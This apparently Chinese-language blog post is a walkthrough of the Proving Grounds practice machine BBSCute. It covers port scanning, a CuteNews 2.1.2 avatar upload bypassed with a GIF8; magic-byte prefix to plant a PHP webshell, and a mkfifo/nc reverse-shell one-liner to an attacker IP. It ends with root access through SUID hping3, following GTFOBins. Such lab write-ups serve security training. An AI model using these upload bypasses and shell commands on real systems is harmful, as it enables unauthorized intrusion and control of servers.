Proving Grounds Play : BBSCute Walkthrough

 Proving Grounds Play : BBSCute Walkthrough


Foothold :

  • 80 CuteNews CMS 註冊後使用魔法密碼上傳頭像 php 檔案
  • 執行後獲取 Reverse Shell

PE :

  • SUID 發現 hping3,參考 GTFO 後利用提權成功


Rustscan,└─$ rustscan -a 192.168.103.128 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.103.128 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,80,88,110,995 192.168.103.128 | tee nmap

80/tcp  open  http     Apache httpd 2.4.38 ((Debian))

88/tcp  open  http     nginx 1.14.2

110/tcp open  pop3     Courier pop3d

995/tcp open  ssl/pop3 Courier pop3d



whatweb 80,└─$ whatweb -v http://192.168.103.128 | tee whatweb



whatweb 88,└─$ whatweb -v http://192.168.103.128:88 | tee whatweb-88



80 /



80 /robots.txt



gobuster,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.103.128 -t 150 -x txt,php,git,pdf | tee gobuster 



80 /captcha.php



80 /index.php



常用帳號密碼組合沒有過,註冊一個帳號,Captcha 使用剛剛那個 /captcha.php 的值

帳號密碼 aries:Oscp#1234



註冊成功,顯示 CuteNews CMS 2.1.2 版本



Searchsploit CuteNews 2.1.2

第一個顯示頭像的 Metasploit 看來是個萬年爛梗



上傳 webshell.php 發現失敗



魔法密碼 GIF8;



上傳成功了



COPY 頭像連結 http://cute.calipendula/uploads/avatar_aries_webshell.php

編輯一下 hosts file 成功開啟並執行 whoami 確認是 www-data



最愛的 RM,rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.179 4444 >/tmp/f &

Reverse Shell 進來了,獲取第一階段 flag



cat /etc/passwd,只有一個使用者 fox



fox 家目錄沒有特別的地方



cat /etc/crontab



sudo -l ,可以執行 hping3



參考 GTFObins : hping3 | GTFOBins 有兩個方式



執行後都沒有成功,都要求輸入 www-data 的密碼



SUID check,一樣發現有 hping3



改參考 SUID 的應用



執行後成功 root,獲取 proof.txt



補充說明 :

使用 48800 漏洞利用步驟,先修改 python code,將 URI 中的 /CuteNews 拿掉

因為我們的靶機 CMS 沒有該路徑



執行後輸入 URL 會自動註冊一個使用者,看來利用方式是一樣的

應該是塞入 command line 的 php,輸入 whoami 可以看到是 www-data

執行 RM 後一樣可以拿到 Reverse Shell




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)